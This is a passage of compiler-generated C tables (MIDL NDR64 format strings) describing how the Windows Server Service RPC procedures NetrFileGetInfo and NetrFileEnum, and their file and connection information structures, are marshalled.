*/,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* FileId */      /* parameter FileId */\n        &__midl_frag737,\n        { \n        /* FileId */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag737,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag81_t __midl_frag81 =\n{ \n/* *_FILE_INFO_3 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag61\n};\n\nstatic const __midl_frag80_t __midl_frag80 =\n{ \n/* *_FILE_INFO_2 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag463\n};\n\nstatic const __midl_frag78_t __midl_frag78 =\n{ \n/* _FILE_INFO */\n    { \n    /* _FILE_INFO */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag303,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag80,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 3 /* 0x3 */,\n        &__midl_frag81,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag77_t __midl_frag77 =\n{ \n/* *_FILE_INFO */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 4 /* 0x4 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag78\n};\n\nstatic const __midl_frag72_t __midl_frag72 =\n{ \n/* NetrFileGetInfo */\n    { \n    /* NetrFileGetInfo */      /* procedure NetrFileGetInfo */\n        (NDR64_UINT32) 21889088 /* 0x14e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag733,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* FileId */      /* parameter FileId */\n        &__midl_frag737,\n        { \n        /* FileId */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag737,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* InfoStruct */      /* parameter InfoStruct */\n        &__midl_frag78,\n        { \n        /* InfoStruct */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* MustSize, MustFree, [out], SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag737,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag65_t __midl_frag65 =\n{ \n/*  */\n    { \n    /* *_FILE_INFO_3 */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag59\n    }\n};\n\nstatic const __midl_frag64_t __midl_frag64 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag736\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag736\n    }\n};\n\nstatic const __midl_frag61_t __midl_frag61 =\n{ \n/* _FILE_INFO_3 */\n    { \n    /* _FILE_INFO_3 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _FILE_INFO_3 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 32 /* 0x20 */,\n        0,\n        0,\n        &__midl_frag64,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag59_t __midl_frag59 =\n{ \n/* *_FILE_INFO_3 */\n    { \n    /* *_FILE_INFO_3 */\n        { \n        /* *_FILE_INFO_3 */\n            0x46,    /* FC64_FORCED_BOGUS_ARRAY */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            { \n            /* *_FILE_INFO_3 */\n                0,\n                1,\n                0,\n                0,\n                0,\n                0,\n                0,\n                0\n            },\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            &__midl_frag61\n        },\n        &__midl_frag267,\n        0,\n        0\n    }\n};\n\nstatic const __midl_frag58_t __midl_frag58 =\n{ \n/* FILE_INFO_3_CONTAINER */\n    { \n    /* FILE_INFO_3_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* FILE_INFO_3_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag65,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag57_t __midl_frag57 =\n{ \n/* *FILE_INFO_3_CONTAINER */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag58\n};\n\nstatic const __midl_frag56_t __midl_frag56 =\n{ \n/*  */\n    { \n    /* *_FILE_INFO_2 */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag53\n    }\n};\n\nstatic const __midl_frag53_t __midl_frag53 =\n{ \n/* *_FILE_INFO_2 */\n    { \n    /* *_FILE_INFO_2 */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 3 /* 0x3 */,\n        { \n        /* *_FILE_INFO_2 */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 4 /* 0x4 */,\n        &__midl_frag267\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 4 /* 0x4 */,\n        &__midl_frag463\n    }\n};\n\nstatic const __midl_frag52_t __midl_frag52 =\n{ \n/* FILE_INFO_2_CONTAINER */\n    { \n    /* FILE_INFO_2_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* FILE_INFO_2_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag56,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag51_t __midl_frag51 =\n{ \n/* *FILE_INFO_2_CONTAINER */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag52\n};\n\nstatic const __midl_frag49_t __midl_frag49 =\n{ \n/* FILE_ENUM_UNION */\n    { \n    /* FILE_ENUM_UNION */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag267,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag51,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 3 /* 0x3 */,\n        &__midl_frag57,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag48_t __midl_frag48 =\n{ \n/* _FILE_ENUM_STRUCT */\n    { \n    /* _FILE_ENUM_STRUCT */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _FILE_ENUM_STRUCT */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag49\n        },\n        { \n        /* _FILE_ENUM_STRUCT */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag47_t __midl_frag47 =\n{ \n/* *_FILE_ENUM_STRUCT */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag48\n};\n\nstatic const __midl_frag40_t __midl_frag40 =\n{ \n/* NetrFileEnum */\n    { \n    /* NetrFileEnum */      /* procedure NetrFileEnum */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 64 /* 0x40 */ ,  /* Stack size */\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 8 /* 0x8 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag733,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* BasePath */      /* parameter BasePath */\n        &__midl_frag733,\n        { \n        /* BasePath */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* UserName */      /* parameter UserName */\n        &__midl_frag733,\n        { \n        /* UserName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* InfoStruct */      /* parameter InfoStruct */\n        &__midl_frag48,\n        { \n        /* InfoStruct */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* PreferedMaximumLength */      /* parameter PreferedMaximumLength */\n        &__midl_frag737,\n        { \n        /* PreferedMaximumLength */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* TotalEntries */      /* parameter TotalEntries */\n        &__midl_frag737,\n        { \n        /* TotalEntries */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* ResumeHandle */      /* parameter ResumeHandle */\n        &__midl_frag523,\n        { \n        /* ResumeHandle */\n            0,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag737,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag33_t __midl_frag33 =\n{ \n/*  */\n    { \n    /* *_CONNECTION_INFO_1 */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag27\n    }\n};\n\nstatic const __midl_frag29_t __midl_frag29 =\n{ \n/* _CONNECTION_INFO_1 */\n    { \n    /* _CONNECTION_INFO_1 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _CONNECTION_INFO_1 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        0,\n        0,\n        &__midl_frag64,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag27_t __midl_frag27 =\n{ \n/* *_CONNECTION_INFO_1 */\n    { \n    /* *_CONNECTION_INFO_1 */\n        { \n        /* *_CONNECTION_INFO_1 */\n            0x46,    /* FC64_FORCED_BOGUS_ARRAY */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            { \n            /* *_CONNECTION_INFO_1 */\n                0,\n                1,\n                0,\n                0,\n                0,\n                0,\n                0,\n                0\n            },\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            &__midl_frag29\n        },\n        &__midl_frag267,\n        0,\n        0\n    }\n};\n\nstatic const __midl_frag26_t __midl_frag26 =\n{ \n/* CONNECT_INFO_1_CONTAINER */\n    { \n    /* CONNECT_INFO_1_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* CONNECT_INFO_1_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag33,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag25_t __midl_frag25 =\n{ \n/* *CONNECT_INFO_1_CONTAINER */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag26\n};\n\nstatic const __midl_frag17_t __midl_frag17 =\n{ \n/* CONNECT_ENUM_UNION */\n    { \n    /* CONNECT_ENUM_UNION */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag267,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 